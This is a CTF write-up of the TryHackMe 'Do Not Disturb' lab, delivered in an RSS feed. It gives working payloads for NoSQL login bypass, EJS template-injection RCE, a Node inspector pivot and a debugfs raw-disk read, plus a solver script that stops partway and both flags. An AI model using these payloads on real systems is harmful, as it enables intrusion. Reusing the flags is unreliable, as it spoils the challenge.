<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Wahiduddin Samani</title>
    <description>The latest articles on DEV Community by Wahiduddin Samani (@w1hi4).</description>
    <link>https://dev.to/w1hi4</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3885655%2F8b9ccba1-3bc8-4fda-9a6e-1604cec679c8.jpeg</url>
      <title>DEV Community: Wahiduddin Samani</title>
      <link>https://dev.to/w1hi4</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/w1hi4"/>
    <language>en</language>
    <item>
      <title>[TryHackMe Writeup] Do Not Disturb</title>
      <dc:creator>Wahiduddin Samani</dc:creator>
      <pubDate>Mon, 03 Aug 2026 12:43:56 +0000</pubDate>
      <link>https://dev.to/w1hi4/tryhackme-writeup-do-not-disturb-50j9</link>
      <guid>https://dev.to/w1hi4/tryhackme-writeup-do-not-disturb-50j9</guid>
      <description>&lt;h1&gt;
  
  
  &lt;strong&gt;Do Not Disturb — Boot2Root Writeup (How to Solve)&lt;/strong&gt;
&lt;/h1&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http://MACHINE_IP&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Platform&lt;/td&gt;
&lt;td&gt;TryHackMe — Hacker Holidays · The Byte Lotus Hotel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Category&lt;/td&gt;
&lt;td&gt;Boot2Root · Web&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Difficulty&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{w4rm_s3ss10n_h1j4ck3d}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{r4w_d1sk_4cc3ss_w4s_t00_much}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Skill path:&lt;/strong&gt; NoSQL injection → EJS template injection (RCE) → Node inspector (debugger) pivot → Linux &lt;code&gt;disk&lt;/code&gt; group raw-block read.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET / (login form)
   │
   │  username=attendant &amp;amp; password[$ne]=__never__      NoSQL operator injection
   ▼
role=staff session → GET /staff  (Cabana Desk)
   │
   ▼
POST /staff/preview  template=&amp;lt;%= ...execSync('cmd') %&amp;gt;   EJS template injection
   │
   ▼
RCE as poolside  →  /home/poolside/user.txt               USER FLAG
   │
   ▼
node --inspect=127.0.0.1:9229  (lotus-telemetry.service)   debugger Remote.evaluate
   │
   ▼
RCE as pipelinesvc  (groups: pipelinesvc, disk)
   │
   ▼
debugfs -R "cat /root/root.txt" /dev/nvme0n1p1            raw disk read
   │
   ▼
ROOT FLAG
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step-by-Step (manual reproduction)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 1 — Recon&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; MACHINE_IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;SSH (OpenSSH 9.6p1, &lt;strong&gt;publickey only&lt;/strong&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP — Express "Byte Lotus Poolside" portal&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Routes found: &lt;code&gt;GET /&lt;/code&gt; (login form), &lt;code&gt;POST /login&lt;/code&gt;, &lt;code&gt;GET /logout&lt;/code&gt;, &lt;code&gt;GET /staff&lt;/code&gt; (403).&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2 — Weak default credentials&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Brute the login with a top-10k password list on likely usernames (&lt;code&gt;guest&lt;/code&gt;, &lt;code&gt;attendant&lt;/code&gt;, ...):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;guest:sunshine  →  valid login, but role=guest → /staff still 403
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;App source (leaked later via the RCE) explains why brute-forcing the staff&lt;br&gt;
account is pointless:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// /opt/poolside/app.js&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Datastore&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;          &lt;span class="c1"&gt;// @seald-io/nedb (MongoDB-style)&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertAsync&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;guest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sunshine&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;guest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;attendant&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randomBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;staff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/login&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOneAsync&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attendant password is &lt;strong&gt;random hex&lt;/strong&gt; — never brute-force it. Attack the&lt;br&gt;
query itself instead.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Step 3 — NoSQL injection → staff login bypass&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;express.urlencoded({ extended: true })&lt;/code&gt; parses &lt;code&gt;password[$ne]=x&lt;/code&gt; into the&lt;br&gt;
nested object &lt;code&gt;{ password: { $ne: 'x' } }&lt;/code&gt;, so the lookup becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOneAsync&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;attendant&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;__never__&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;$ne&lt;/code&gt; matches anything &lt;em&gt;except&lt;/em&gt; the given value → returns the attendant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://MACHINE_IP/login &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=attendant&amp;amp;password[$ne]=__never__'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response: &lt;code&gt;302&lt;/code&gt; with a session cookie → now&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; &amp;lt;cookie&amp;gt; http://MACHINE_IP/staff     &lt;span class="c"&gt;# 200 — Cabana Desk&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;Step 4 — EJS template injection → RCE (poolside)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The Cabana Desk has a &lt;strong&gt;confirmation template preview&lt;/strong&gt;: &lt;code&gt;POST /staff/preview&lt;/code&gt;&lt;br&gt;
with a &lt;code&gt;template&lt;/code&gt; field that is rendered with &lt;code&gt;ejs.render()&lt;/code&gt; — an EJS &lt;strong&gt;SSTI&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; &amp;lt;cookie&amp;gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://MACHINE_IP/staff/preview &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"template=&amp;lt;%= global.process.mainModule.require('child_process').execSync('id').toString() %&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uid=996(poolside) gid=996(poolside) groups=996(poolside)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full command execution as the &lt;code&gt;poolside&lt;/code&gt; service account. From here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# user flag&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /home/poolside/user.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;w4rm_s3ss10n_h1j4ck3d&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Note: commands containing &lt;code&gt;&amp;gt;&lt;/code&gt; or &lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt; break &lt;code&gt;execSync&lt;/code&gt;'s shell — keep&lt;br&gt;
payloads redirect-free or split them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 5 — Lateral move: Node inspector → pipelinesvc&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Read the service units via the EJS RCE (&lt;code&gt;/etc/systemd/system/lotus-telemetry.service&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Service]
User=pipelinesvc
ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 /opt/telemetry/processor.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The telemetry processor is a &lt;strong&gt;Node.js debugger endpoint&lt;/strong&gt; bound to localhost:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The debugger protocol accepts arbitrary &lt;code&gt;Runtime.evaluate&lt;/code&gt; over a
WebSocket — i.e. remote code execution in the &lt;code&gt;pipelinesvc&lt;/code&gt; process.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The exploit (as done by &lt;code&gt;solve_dnd.py&lt;/code&gt;):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;GET &lt;code&gt;http://127.0.0.1:9229/json/list&lt;/code&gt; → &lt;code&gt;webSocketDebuggerUrl&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;WebSocket handshake to that URL (masked frames)&lt;/li&gt;
&lt;li&gt;Send &lt;code&gt;Runtime.evaluate&lt;/code&gt; with expression:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mainModule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="na"&gt;encoding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/bin/bash&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;
      &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ERR: &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stderr&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)}})()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;pipelinesvc&lt;/code&gt; is in the &lt;strong&gt;disk&lt;/strong&gt; group — the gateway to root.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 6 — Root flag: raw block-device read (group &lt;code&gt;disk&lt;/code&gt;)&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; /dev/nvme0n1p1
brw-rw---- 1 root disk 259,1 ... /dev/nvme0n1p1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Group &lt;code&gt;disk&lt;/code&gt; can read the raw device (the ext4 root partition). No sudo, no&lt;br&gt;
kernel exploit — just read the filesystem out of the block device with&lt;br&gt;
&lt;code&gt;debugfs&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;debugfs &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"cat /root/root.txt"&lt;/span&gt; /dev/nvme0n1p1
THM&lt;span class="o"&gt;{&lt;/span&gt;r4w_d1sk_4cc3ss_w4s_t00_much&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  &lt;strong&gt;Fully automated solver&lt;/strong&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python solve_dnd.py http://MACHINE_IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"""
Do Not Disturb (Byte Lotus Hotel) - FULLY AUTOMATIC SOLVER
Gets BOTH flags with zero manual steps.

Target: http://10.49.182.223

Chain:
  1. NoSQL injection on /login             -&amp;gt; log in as 'attendant' (password[$ne]=zzz)
  2. EJS template injection /staff/preview -&amp;gt; RCE as 'poolside'
  3. cat /home/poolside/user.txt           -&amp;gt; USER FLAG (as poolside)
  4. Node inspector 127.0.0.1:9229         -&amp;gt; RCE as 'pipelinesvc' (group disk)
  5. debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 -&amp;gt; ROOT FLAG

Usage: python solve_dnd.py [http://IP]
"""
import sys
import re
import html as htmllib
import urllib.request
import urllib.parse
import http.cookiejar
import base64

TARGET = (sys.argv[1] if len(sys.argv) &amp;gt; 1 else "http://10.49.182.223").rstrip("/")
TIMEOUT = 25

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
FLAG_RE = re.compile(r"THM\{[^}]+\}")

# Node client uploaded to /tmp/.i.js: connects to the 127.0.0.1:9229 debugger,
# evaluates a command inside the pipelinesvc-owned process via Runtime.evaluate.
NODE_SCRIPT = r"""
const http = require('http');
const crypto = require('crypto');
const fs = require('fs');
let CMD = process.argv[2] || '';
if (!CMD) { try { CMD = fs.readFileSync('/tmp/.c.txt','utf8').trim(); } catch(e) {} }
http.get('http://127.0.0.1:9229/json/list', (res) =&amp;gt; {
  let d = '';
  res.on('data', c =&amp;gt; d += c);
  res.on('end', () =&amp;gt; {
    let list = []; try { list = JSON.parse(d); } catch(e) {}
    if (!list.length) { console.log('NO_TARGETS'); process.exit(0); }
    const path = list[0].webSocketDebuggerUrl.replace(/^ws:\/\/[^/]+/, '');
    const net = require('net');
    const key = crypto.randomBytes(16).toString('base64');
    const sock = net.connect(9229, '127.0.0.1', () =&amp;gt; {
      sock.write(`GET ${path} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: ${key}\r\nSec-WebSocket-Version: 13\r\n\r\n`);
    });
    let buf = Buffer.alloc(0), booted = false;
    sock.on('data', chunk =&amp;gt; {
      buf = Buffer.concat([buf, chunk]);
      const hs = buf.indexOf('\r\n\r\n');
      if (!booted &amp;amp;&amp;amp; hs !== -1) {
        booted = true;
        buf = buf.slice(hs + 4);
        const expr = `(()=&amp;gt;{try{return process.mainModule.require('child_process').execSync(${JSON.stringify('CMD_HOLE')},{encoding:'utf8',stdio:['ignore','pipe','pipe'],shell:'/bin/bash'}).toString()}catch(e){return 'ERR: '+(e.stderr?e.stderr.toString():'')}} )()`;
        const msg = JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: expr, returnByValue: true } });
        sendFrame(sock, msg);
      }
      let f = parseFrame(buf);
      while (f) {
        if (f.opcode === 1) {
          const t = f.payload.toString();
          try {
            const j = JSON.parse(t);
            if (j.id === 1 &amp;amp;&amp;amp; j.result) {
              const v = j.result.result;
              console.log('OUT:', (v &amp;amp;&amp;amp; v.value !== undefined) ? v.value : JSON.stringify(v));
              process.exit(0);
            }
          } catch(e) {}
        }
        buf = f.rest;
        f = parseFrame(buf);
      }
    });
    sock.on('error', e =&amp;gt; console.log('SOCKERR', e.message));
  });
});
function parseFrame(b){
  if (b.length &amp;lt; 2) return null;
  let off = 2;
  const opcode = b[0] &amp;amp; 0x0f;
  let len = b[1] &amp;amp; 0x7f;
  if (len === 126) { if (b.length &amp;lt; 4) return null; len = b.readUInt16BE(2); off = 4; }
  else if (len === 127) { if (b.length &amp;lt; 10) return null; len = Number(b.readBigUInt64BE(2)); off = 10; }
  return { opcode, payload: b.slice(off), rest: b.slice(off) };
}
function sendFrame(sock, payload){
  const data = Buffer.from(payload);
  const mask = crypto.randomBytes(4);
  let header;
  if (data.length &amp;lt; 126) header = Buffer.from([0x81, 0x80 | data.length]);
  else { header = Buffer.alloc(4); header[0] = 0x81; header[1] = 0x80 | 126; header.writeUInt16BE(data.length, 2); }
  const masked = Buffer.alloc(data.length);
  for (let i = 0; i &amp;lt; data.length; i++) masked[i] = data[i] ^ mask[i % 4];
  sock.write(Buffer.concat([header, mask, masked]));
}
"""
NODE_SCRIPT = NODE_SCRIPT.replace("'CMD_HOLE'", "CMD || fs.readFileSync('/tmp/.c.txt','utf8').trim()")


def http_req(path, data=None, headers=None):
    req = urllib.request.Request(TARGET + path, data=data, headers=headers or {})
    return opener.open(req, timeout=TIMEOUT).read().decode(errors="replace")


# ---- Step 1: NoSQL injection -&amp;gt; staff session ----
def login_staff():
    opener.open(urllib.request.Request(
        TARGET + "/login",
        data=b"username=attendant&amp;amp;password[$ne]=__never__"), timeout=TIMEOUT)
    print("[+] Logged in as 'attendant' via NoSQL auth bypass (password[$ne]=zz_never)")


# ---- Steps 2-3: EJS template injection (RCE as poolside) ----
def ejs(cmd):
    tpl = "&amp;lt;%= global.process.mainModule.require('child_process').execSync('" + cmd + "').toString() %&amp;gt;"
    body = urllib.parse.urlencode({"template": tpl}).encode()
    resp = http_req("/staff/preview", data=body,
                    headers={"Content-Type": "application/x-www-form-urlencoded"})
    m = re.search(r"&amp;lt;label[^&amp;gt;]*&amp;gt;Preview&amp;lt;/label&amp;gt;&amp;lt;pre&amp;gt;(.*?)&amp;lt;/pre&amp;gt;", resp, re.S)
    if m:
        return htmllib.unescape(m.group(1))
    ms = re.findall(r"&amp;lt;pre&amp;gt;(.*?)&amp;lt;/pre&amp;gt;", resp, re.S)
    return htmllib.unescape(ms[-1]) if ms else resp


# ---- Step 4: Node inspector pivot -&amp;gt; RCE as pipelinesvc ----
def node_inspect(cmd):
    b64js = base64.b64encode(NODE_SCRIPT.encode()).decode()
    b64cmd = base64.b64encode(cmd.encode()).decode()
    shell = f"echo {b64js} | base64 -d &amp;gt; /tmp/.i.js; echo {b64cmd} | base64 -d &amp;gt; /tmp/.c.txt; node /tmp/.i.js"
    return ejs(shell)


def main():
    print(f"[+] Targeting {TARGET}")

    print("[+] Step 1: NoSQL auth bypass -&amp;gt; staff")
    login_staff()

    print("[+] Step 2: EJS RCE check")
    out = ejs("id")
    print("   ", out.strip().replace("\n", " "))
    if "poolside" not in out:
        print("[-] EJS RCE failed, aborting"); return 1

    print("[+] Step 3: user flag")
    user_flag = ejs("cat /home/poolside/user.txt").strip()
    print("[+] USER FLAG:", user_flag)

